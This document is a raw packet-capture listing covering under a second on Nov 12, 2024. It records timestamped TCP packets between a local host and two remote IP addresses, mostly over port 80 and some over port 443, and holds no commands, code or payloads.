Nov 12, 2024 10:37:36.008057117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008066893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008084059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008085012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008114100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008131981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008291006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008354902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008366108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008375883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008379936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008399010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008403063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008430004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008444071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008608103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008619070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008630037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008711100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008723974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008733988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008735895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008747101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008755922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008759975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008771896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008778095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008783102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008795023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008800983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008826017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008836031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009301901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009313107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009324074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009335041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009345055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009345055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009361982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009368896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009373903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009386063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009393930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009397030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009407997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009409904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009413958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009419918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009426117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009430885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009435892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009442091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009447098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.009499073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.009676933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010116100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010127068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010138035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010148048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010154009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010163069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010174036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010184050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010185957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010199070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010210037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010224104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010238886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010238886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010253906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010261059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010267973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010298014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010298014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010312080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010719061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010729074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010739088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010751963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010761976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010777950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010786057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010790110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010802984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010806084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010816097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010838032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010849953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.010858059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010858059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010869026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.010902882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.020771980 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.025902987 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.025927067 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.026326895 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.026338100 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.029012918 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.029520988 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.029530048 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.029903889 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.029907942 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.049360991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049376011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049387932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049432039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049459934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049468994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049479961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049498081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049509048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049520016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049520016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049544096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049551010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049721003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049731970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049742937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049758911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049768925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049772978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049798012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049813986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049829006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049899101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049910069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049921036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049932957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.049933910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049952984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.049979925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.050045967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.050056934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.050086021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.050115108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.050124884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.050187111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.115006924 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.115098953 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.115231991 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.118691921 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.118762970 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.118870974 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.122175932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122193098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122204065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122253895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122294903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122312069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122315884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122323036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122334957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122343063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122368097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122409105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122443914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122471094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122479916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122495890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122504950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122514963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122541904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122620106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122656107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122663975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122668028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122700930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122772932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122785091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122822046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.122951984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.122963905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123008013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123049974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123060942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123075962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123091936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123102903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123119116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123142004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123172998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123188019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123203993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123214960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123225927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123239994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123255014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123378992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123389959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123399973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123410940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123429060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123437881 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123466969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123478889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123502016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123589039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123599052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123609066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123620033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123629093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123631001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123647928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123655081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123682022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123696089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123748064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123759985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123792887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123816967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123828888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123867035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123927116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123936892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123946905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123959064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123970032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.123969078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123980999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.123982906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124007940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124031067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124053955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124064922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124080896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124116898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124294043 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.124433041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124445915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124454021 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.124490023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124494076 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.124507904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124517918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124527931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124538898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124538898 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.124548912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124572039 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.124603987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124614000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124624968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124628067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124636889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124655962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124699116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124716043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124742985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124789000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124808073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124819040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124871016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124877930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124881983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124893904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124906063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.124929905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124939919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.124954939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125034094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125045061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125055075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125065088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125071049 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125076056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125086069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125087023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125099897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125106096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125128031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125153065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125231981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125242949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125252008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125268936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125271082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125291109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125317097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125391960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125403881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125412941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125423908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125428915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125437021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125452042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125482082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125612020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125622988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125633001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125646114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125658035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125658035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125669003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125674009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125679970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125694036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125708103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125705004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125734091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125746012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125885010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125906944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125919104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125927925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125938892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125946045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125952959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125965118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125969887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125984907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.125984907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.125999928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126009941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126027107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126036882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126208067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126223087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126236916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126255035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126256943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126267910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126276016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126281023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126295090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126305103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126306057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126317024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126318932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126332045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126348019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126372099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126507044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126589060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126596928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126600981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126612902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126622915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126624107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126636028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126638889 CET	49834	80	192.168.2.6	185.215.113.206
